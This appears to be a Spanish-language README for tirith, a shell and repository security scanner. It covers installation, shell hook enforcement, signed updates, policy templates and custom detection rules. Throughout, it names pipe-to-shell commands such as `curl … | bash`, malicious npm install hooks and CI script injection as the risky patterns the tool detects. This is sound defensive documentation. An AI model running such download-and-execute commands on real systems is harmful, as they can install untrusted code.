- **Flujos de trabajo de GitHub Actions** (`.github/workflows/*.yml`), una referencia `uses:` de acción fijada a una ref mutable (`@v3`, `@main`) en lugar de un SHA de commit; el disparador `pull_request_target`; un pipe-to-shell `curl … | bash` en un paso `run:`; un valor `${{ github.event.* }}` controlable por el atacante interpolado en un paso de shell `run:` (inyección de script)
- **Dockerfiles**: una imagen base `FROM` en la etiqueta mutable `latest` (o sin etiqueta) sin fijación de digest `@sha256:`
- **Terraform** (`*.tf`), un bloque `module` con origen en una ubicación remota / no confiable en lugar de una ruta local o el Terraform Registry
- **Gráficos de Helm** (`Chart.yaml`), una dependencia de gráfico de un repositorio de gráficos no confiable
- **`package.json`**: un script de ciclo de vida `preinstall` / `install` / `postinstall` que ejecuta un comando peligroso (pipe-to-shell, payload ofuscado, descargar y ejecutar); estos hooks se ejecutan automáticamente en `npm install`

Tres valores integrados de `--profile` ajustan el escaneo: `ci-hardening` (todas las comprobaciones a plena intensidad, fallo en `high`), `ai-agent-repo` (mantiene los hallazgos de inyección, descarta el ruido de higiene de fijación de bajo valor) y `oss-maintainer` (enfatiza el riesgo controlable por el contribuyente al revisar un cambio).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Paquetes de Linux

**Debian / Ubuntu (.deb):**

Descárgalo desde [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), luego:```bash
sudo dpkg -i tirith_*_amd64.deb

Los binarios de la versión GNU para Linux tienen como objetivo un límite de GLIBC 2.28. CI ejecuta tanto los tarballs x86_64 como aarch64 en AlmaLinux 8, Amazon Linux 2023 y Rocky Linux 9; los `.deb` y el `.rpm` x86_64 contienen esos mismos binarios canónicos.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

Android/Termux se ejecuta sobre Bionic libc, no glibc, por lo que la compilación `aarch64-unknown-linux-gnu`
no puede ejecutarse allí, necesita el enlazador dinámico de glibc. Use la compilación **musl**
en su lugar: `tirith-aarch64-unknown-linux-musl.tar.gz` está enlazada estáticamente y se ejecuta
en Termux sin una libc externa.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> El soporte para Termux es de mejor esfuerzo. El artefacto musl se compila y se
> prueba de humo en CI, pero tirith aún no se prueba de forma continua en un
> dispositivo Android real. Si un hook se comporta mal bajo Termux, por favor abre
> un issue con la salida de `tirith doctor`.

### Windows

Windows admite detección, escaneo, webhooks, gestión de políticas, cargas de
auditoría y `tirith setup`. El hook de PowerShell proporciona interceptación
previa de PSReadLine, pero no reclama un recibo de ejecución estricto posterior
a la aceptación. La ejecución remota de scripts en vivo y el modo daemon siguen
sin estar disponibles en Windows.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

La moderación de Chocolatey puede retrasarse respecto a la versión de GitHub. Ejecuta `choco info tirith` para
ver la versión aprobada actualmente. Usa Scoop o un artefacto firmado de
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) cuando se
requiera la versión más reciente antes de que finalice la moderación de Chocolatey.

### Multiplataforma

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (registro oficial):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Tipo de hook | Probado en |
|-------|-----------|-----------|
| zsh | accept-line + widgets de pegado | 5.8+ |
| bash | macro de tecla enter o preexec (dos modos) | ruta de compatibilidad 3.2; 5.0+ para la ruta moderna totalmente probada |
| fish | Manejadores de tecla Enter + pegado | 3.5+ |
| PowerShell | Manejador de PSReadLine | 7.0+ |

Bash usa el modo enter cuando una autoprueba de capacidades ha demostrado que funciona para tu bash, y preexec en caso contrario. Desde 0.4.1 esa autoprueba pasa en GNU bash estándar, por lo que el modo enter es el resultado habitual una vez que `tirith setup` o `tirith doctor` la ha ejecutado; el hook del shell lee el veredicto en caché al iniciarse. Consulta [solución de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) para obtener detalles sobre los modos, la autoprueba y el comportamiento de respaldo en SSH.

El Bash 3.2 del sistema de macOS sigue siendo una ruta de compatibilidad, no la línea base moderna de bloqueo. Su comportamiento de trampa DEBUG puede impedir que el trampolín se mantenga; Tirith anuncia la degradación resultante cuando su latido puede observarla, lo que puede ser un comando después. Usa Bash 5+ o una ruta de modo enter probada cuando se requiera una puerta de autorización estricta de Bash.

> [!WARNING]
> El modo preexec de Bash es solo de advertencia por defecto. Establece `TIRITH_BASH_PREEXEC_ENFORCE=1` para el bloqueo condicional. Tirith escanea una vez la línea escrita confiable, habilita su propio `extdebug` solo tras un veredicto de bloqueo y lo libera antes de que se ejecute `PROMPT_COMMAND`. Si los límites del prompt o una trampa DEBUG propiedad del llamador no pueden preservarse de forma segura, o si `extdebug` ya está habilitado por el usuario, Tirith deja visiblemente desactivada la interceptación de preexec en lugar de sobrescribir el estado del shell.

#### Aplicación por shell

| Shell | Comportamiento |
|---|---|
| bash **modo enter** | **Bloqueo fiable.** Vincula Enter a una macro de readline que ejecuta el verificador y luego un accept-line protegido, de modo que un comando puede detenerse antes de que bash se comprometa a ejecutarlo. Se selecciona siempre que la autoprueba de capacidades (`tirith doctor --simulate-enter`) haya demostrado la entrega y el bloqueo para el bash en ejecución, lo cual desde 0.4.1 ocurre en GNU bash estándar. Una bandera de modo seguro persistida, una sesión SSH o un `TIRITH_BASH_MODE=preexec` forzado siguen seleccionando preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Bloqueo condicional.** Escanea una línea completa confiable, luego activa el `extdebug` propiedad de Tirith solo para un bloqueo y lo restaura en el siguiente prompt. Las entradas existentes de `PROMPT_COMMAND` de tipo string/array conservan su orden y se ejecutan fuera del escaneo. La aplicación rechaza o degrada visiblemente cuando el historial está filtrado o un alias / sustitución de comandos / `eval` hace que la línea escrita se desvíe de `BASH_COMMAND`; una propiedad insegura del prompt/DEBUG o un `extdebug` propiedad del usuario deja la interceptación explícitamente desactivada en lugar de mutar el estado del usuario. |
| bash **preexec** (sin bandera de aplicación) | Solo advertencia. Imprime un banner DETECTED en comandos riesgosos; no bloquea. El respaldo cuando la autoprueba del modo enter no ha demostrado que la entrega funcione, o cuando el modo enter no está disponible de otro modo. |
| zsh, fish | Bloqueo fiable en sus manejadores de Enter/accept-line, antes del traspaso al shell nativo. Los eventos preexec de solo notificación no se tratan como puertas de autorización. |
| PowerShell | Bloqueo fiable de preflight de PSReadLine; sin recibo de ejecución estricto. |
| nushell | Solo advertencia (actualmente no admite interceptación de comandos). |

Para el bloqueo a nivel de línea en bash, ejecuta `tirith doctor --simulate-enter`; si la entrega funciona, se habilita el modo enter. Donde no lo haga, usa preexec enforce para "bloquea cuando puede; te dice honestamente cuando no puede".

Bash, zsh y fish interactivos usan un recibo de ejecución de protocolo v3 después de la decisión de preflight. Al cargar el hook, resuelven y fijan un único ejecutable absoluto de Tirith y registran una capacidad de un solo uso vinculada al proceso de shell activo, la familia de shell, la sesión, el usuario y la identidad del ejecutable. Un recibo pasa entonces por los estados `Prepared`, `Armed`, `Consuming` y un estado terminal `Committed`/`Conflict`/`Discarded`. Esto mejora la atribución y la resistencia a la repetición, pero la evidencia del shell se registra deliberadamente como no resuelta en lugar de como prueba de que cada componente del comando se ejecutó. Tirith mismo es dueño de cualquier prompt de aprobación o acuse de recibo de advertencia antes de devolver un recibo armado; el hook no puede adjuntar esos hechos después. Zsh y fish consumen el recibo armado de forma síncrona en el mismo manejador de aceptación de línea y entregan el comando al shell nativo solo después de que esa transición tenga éxito. PowerShell tiene bloqueo de preflight sin este protocolo de recibo estricto.

Un shell anidado recibe su propia capacidad vinculada al proceso incluso cuando hereda el ID de sesión. Volver a cargar el hook en el mismo proceso nunca genera otro portador. Si `exec` reemplaza un shell activo sin cambiar su identidad de PID/inicio, el reemplazo no puede recuperar el portador deliberadamente no exportado y se ejecuta en un modo heredado visiblemente degradado; inicia una terminal nueva o un shell hijo para restaurar los recibos estrictos. `exec "$SHELL"` no es un reinicio del protocolo de recibos porque preserva esa identidad de proceso.

**Nix / Home-Manager:** tirith debe estar en tu `$PATH` cuando se carga el hook. Bash, zsh y fish entonces fijan ese ejecutable resuelto para la sesión del shell; reinicia el shell después de reemplazar o actualizar el binario. Añadirlo solo a `initContent` no es suficiente.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`** confirma que el binario en ejecución es el binario genuino y sin modificar de una versión oficial. Vuelve a descargar el archivo de la versión para tu versión y objetivo, lo verifica contra el `checksums.txt` firmado de la versión, verifica la firma de cosign sobre `checksums.txt` cuando [`cosign`](https://github.com/sigstore/cosign) está instalado, y confirma que el binario en ejecución es idéntico byte a byte al oficial. Si la verificación completa no es posible, una compilación de desarrollo local, sin red, una instalación que tirith no puede identificar, lo dice honestamente en lugar de reportar un falso "verified". Sin `cosign` el checksum aún se verifica (reportado como `verified-checksum-only`); instala `cosign` para la verificación completa de la firma (`verified-signed`).

**`tirith update`** es consciente del gestor de paquetes:

- **Instalaciones por gestor de paquetes** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) nunca se automodifican. tirith imprime el comando exacto a ejecutar en su lugar, p. ej. `brew upgrade tirith`. Actualizar a través del gestor de paquetes mantiene su base de datos consistente.
- **Instalaciones auto-reemplazables** (el tarball de `install.sh`, un binario independiente, o una versión de Tirith con propietario seguro en caché bajo una raíz de Hermes (`HERMES_HOME`, o `~/.hermes` cuando esa variable no está definida; solo Unix)) se actualizan en el lugar: tirith descarga la última versión, la verifica, luego intercambia atómicamente el binario, manteniendo el anterior como un sidecar `tirith.tirith-previous`. La firma de cosign se verifica por **defecto**: si no se puede verificar (falta cosign, o la versión no publicó ninguna firma) la actualización se aborta. Pasa `--allow-unsigned` para recurrir a la verificación solo por checksum; una discrepancia de checksum siempre aborta independientemente. `tirith update --rollback` revierte al binario anterior; `--dry-run` muestra lo que sucedería sin cambiar nada. Las actualizaciones siguen siendo explícitas: Tirith nunca busca ni instala un nuevo binario en segundo plano.

> [!NOTE]
> Los scripts de instalación (`scripts/install.sh` y el `install.ps1` de Windows) también verifican la firma de cosign de la versión por **defecto** y abortan si [`cosign`](https://github.com/sigstore/cosign) falta o la firma no se puede verificar. Instala `cosign` primero, o establece `TIRITH_ALLOW_UNSIGNED=1` para instalar con verificación solo por checksum (no recomendado). Una discrepancia de checksum o firma siempre aborta independientemente de esta exclusión.

### Integraciones de Shell

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Las dependencias fijadas de la acción utilizan el entorno de ejecución de acciones de Node 24. Los runners autoalojados deben usar [Actions Runner v2.327.1 o posterior](https://github.com/actions/runner/releases/tag/v2.327.1); los runners alojados en GitHub ya cumplen este requisito.

También disponible como **hook de pre-commit**: consulta `.pre-commit-hooks.yaml` en este repositorio.

Scan admite los filtros `--include`, `--exclude`, `--profile` (carga perfiles con nombre desde la política) y `--ignore` para el escaneo de CI dirigido.

### Documentación de reglas```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

En Linux x86_64, cuando Tirith está instalado en una ruta de sistema fija gestionada por root y la URL, el shell, los argumentos y el comportamiento de stdin del comando pueden decodificarse exactamente, la reescritura enruta pipe-to-shell a través del ejecutor de cápsulas acotado, revisado, verificado por hash y fail-closed de Tirith. La ruta absoluta de Tirith evita que un `PATH` shadow posterior cambie lo que se ejecuta. En la ejecución, el ejecutor también requiere que el primer acierto en `PATH` del intérprete seleccionado esté gestionado por root, vincula sus bytes antes de descargar y preserva ese shell en lugar de confiar en el shebang remoto. Otras arquitecturas, plataformas e instalaciones de Tirith propiedad del usuario mantienen esta remediación como orientación. Para curl, las reescrituras ejecutables requieren además tanto la semántica de fail-on-HTTP-error como la de seguimiento de redirecciones (`-f` y `-L`, incluido un bundle como `-fsSL`). Los tokens de URL dinámicos o malformados, los argumentos de intérprete no soportados, PowerShell, Cmd y las tuberías ambiguas permanecen solo como orientación. Las sugerencias ejecutables se limitan al ejecutor de tuberías verificado y fail-closed. Las correcciones de archivo, dotfile, eliminación de flags TLS, cambios de HTTP a HTTPS, reducción de sudo, limpieza de entorno y correcciones de nombres de paquetes son solo orientativas porque su semántica exacta de shell, red, privilegios, entorno o registro no es mecánicamente demostrable. Para cualquier hallazgo sin una reescritura mecánica segura, Tirith lo indica claramente y muestra la remediación en su lugar; nunca emite un comando conjeturado. El flag es informativo: no cambia ni el veredicto ni el código de salida.

### Modo Daemon (Unix)

Proceso en segundo plano opcional para latencia sub-milisegundo y enriquecimiento con reconocimiento de red (resolución de URL acortadas, comprobaciones de listas de bloqueo DNS):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` acepta `--template <name>` para una política inicial seleccionada:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Usa `allowlist_rules` para supresiones con alcance de regla cuando confías en una fuente para una regla pero no quieres incluirla globalmente en la lista de permitidos:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

El **scope** de cada entrada se clasifica como `exact`, `substring`, `domain`, `wildcard` o `bare-TLD`. Todo scope que no sea exact (`substring` / `domain` / `wildcard` / `bare-TLD`) requiere `--broad`, por lo que una autorización amplia siempre es una elección deliberada. Las URLs exactas utilizan igualdad de URL normalizada (incluyendo esquema, host, puerto efectivo, ruta, query y fragmento), nunca coincidencia por substring. Todos los subcomandos admiten `--format json`. Los almacenes de confianza escritos por versiones anteriores de tirith siguen funcionando sin cambios; una entrada sin TTL se trata como permanente.

### Escalation and action overrides

Las advertencias se rastrean por sesión. Si la misma regla se dispara repetidamente, las reglas de escalado pueden elevar a un bloqueo:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Al salir del shell, se imprime un resumen de una línea si se registraron advertencias durante la sesión.

Más ejemplos en [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Reglas de detección personalizadas

Escribe tus propias reglas en `.tirith/policy.yaml` bajo `custom_rules:`. Cada regla es un `pattern:` (regex) o un árbol de predicados semánticos `when:`, además de un `context:` (`exec`, `paste` o `file`), un `severity:` y un `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### Más controles de políticas

Otras claves de política, todas con valores predeterminados seguros (`tirith policy init` escribe el conjunto completamente comentado):

- Umbrales de `package_policy:` convierten las señales de la cadena de suministro en veredictos de bloqueo o advertencia (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` coinciden con el origen del invocador de un comando (`{ kind, name }`); una coincidencia de `deny` fuerza un bloqueo. `scan.trusted_mcp_servers` y `scan.mcp_allowed_tools` aceptan servidores MCP específicos y herramientas por servidor.
- Guardas opcionales, desactivadas por defecto: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, además de `iac_require_plan_before_apply`, `sudo_require_reason` y `allowed_install_domains`.

Los archivos `.tirith/policy.yaml` con alcance de repositorio solo pueden endurecer, nunca debilitar: una política de repositorio que intente ampliar una lista de permitidos, reducir una severidad o desactivar una guarda se neutraliza, y `tirith policy effective` muestra qué campos se descartaron. Solo las políticas a nivel de usuario y a nivel de organización (`TIRITH_POLICY_ROOT`) pueden relajar un valor predeterminado.

### Modo de advertencia estricta

Con `strict_warn: true` (o `--strict-warn` en la CLI), los hallazgos de riesgo medio solicitan una confirmación explícita en terminales interactivas en lugar de advertir silenciosamente:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Este es un prefijo estándar de shell por comando; la variable existe solo para ese único comando y no persiste en tu sesión. Las organizaciones pueden deshabilitarlo por completo con `allow_bypass_env: false` en la política.

> [!CAUTION]
> `TIRITH=0` es por comando. No lo exportes en perfiles de shell, dotfiles ni configuración de CI; un bypass permanente anula todo el modelo de protección. Si te encuentras recurriendo a él con frecuencia, añade la fuente de confianza a `allowlist` en tu archivo de política.

---

## Manejo de datos

Registro de auditoría JSONL local en `~/.local/share/tirith/log.jsonl`:
- Marca de tiempo, ID de sesión, acción, IDs de reglas, vista previa del comando redactado
- Datos de detección sin procesar (`raw_action`, `raw_rule_ids`) conservados junto con la acción aplicada para auditoría de cobertura
- Estado de advertencia de sesión en `~/.local/state/tirith/sessions/`
- **Sin** comandos completos, variables de entorno ni contenidos de archivos

Deshabilitar: `export TIRITH_LOG=0`

---

## Documentación

- [Referencia de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): cada subcomando, agrupado por categoría
- [Matriz de capacidades](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): cobertura por comando (qué inspecciona tirith y si la política lo gobierna por completo)
- [Cobertura de aplicación](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): registro por capacidad que separa detección, decisión previa, aplicación de ejecución, contención y atestación
- [Modelo de amenazas](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), contra qué protege tirith y contra qué no
- [Recetario](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), ejemplos de políticas para configuraciones comunes
- [Solución de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), peculiaridades del shell, latencia, falsos positivos
- [Compatibilidad](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), superficie estable vs experimental
- [Notas de la versión 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), qué cambia la versión de parche actual, y las [notas de la versión 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) para los aspectos destacados, limitaciones y contrato de publicación de la línea 0.4
- [Lista de verificación de publicación](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), secuencia de publicación protegida y verificación de registro
- [Política de seguridad](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), reporte de vulnerabilidades
- [Desinstalación](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), eliminación limpia por shell y gestor de paquetes

Guías de funciones:

- [Guarda de comandos Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (la política `web3_guard`, las tres reglas Web3 y los enlaces de command-card v2)
- [Sobre de tarea](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (procedencia de tareas no confiables, la política `task_gate` y la herramienta MCP de vista previa)
- [Proyectos no confiables](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (el flujo de trabajo "alguien me envió un repositorio")
- [Flujo de artefactos de CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (envenenamiento de artefactos de compilación entre flujos de trabajo)
- [Auditoría de extensiones de navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (auditoría de integridad de solo lectura para la familia Chromium)
- [Recibo de procedencia de npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, y exactamente qué no vincula)
- [Recibos de atestación](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (recibos de compilación y despliegue en un punto en el tiempo)
- [Despliegue gradual y reversión](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (habilitación por etapas, disparadores y el manual de reversión)
- [Gobernanza de agentes](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (atribución de origen del llamador y `agent_rules`)
- [Filtro de salida MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (el contrato de puerta de enlace y sanitización de salida MCP)
- [Modos de Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (completo vs `--quick`, y el esquema de instantánea JSON)
- [Perfiles de LSP y editor](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (diagnósticos en línea del editor)
- [Mensajería nativa del navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (host y extensión de procedencia del portapapeles)
- [Procedencia del pegado](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (la regla `paste_source_mismatch`)
- [Formatos de canario](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (formatos sintéticos de honeytoken)
- [Integración con el prompt](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (conectar `tirith prompt-status` a tu prompt del shell)

## Licencia

**La cobertura de seguridad principal se distribuye en el árbol de código abierto.** Las 244 reglas de detección y el servidor MCP están disponibles desde el código fuente. El repositorio aún contiene rutas de código heredadas de licenciamiento y servidor de políticas, así que evita asumir que cada ruta de ejecución ya está libre de niveles.

tirith tiene licencia dual:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), gratuita bajo términos de copyleft
- **Comercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), si las obligaciones de copyleft de AGPL no funcionan para tu caso de uso, contacta a [email protected] para licenciamiento alternativo

Atribuciones de datos de terceros en [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).

## Historial de estrellas

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)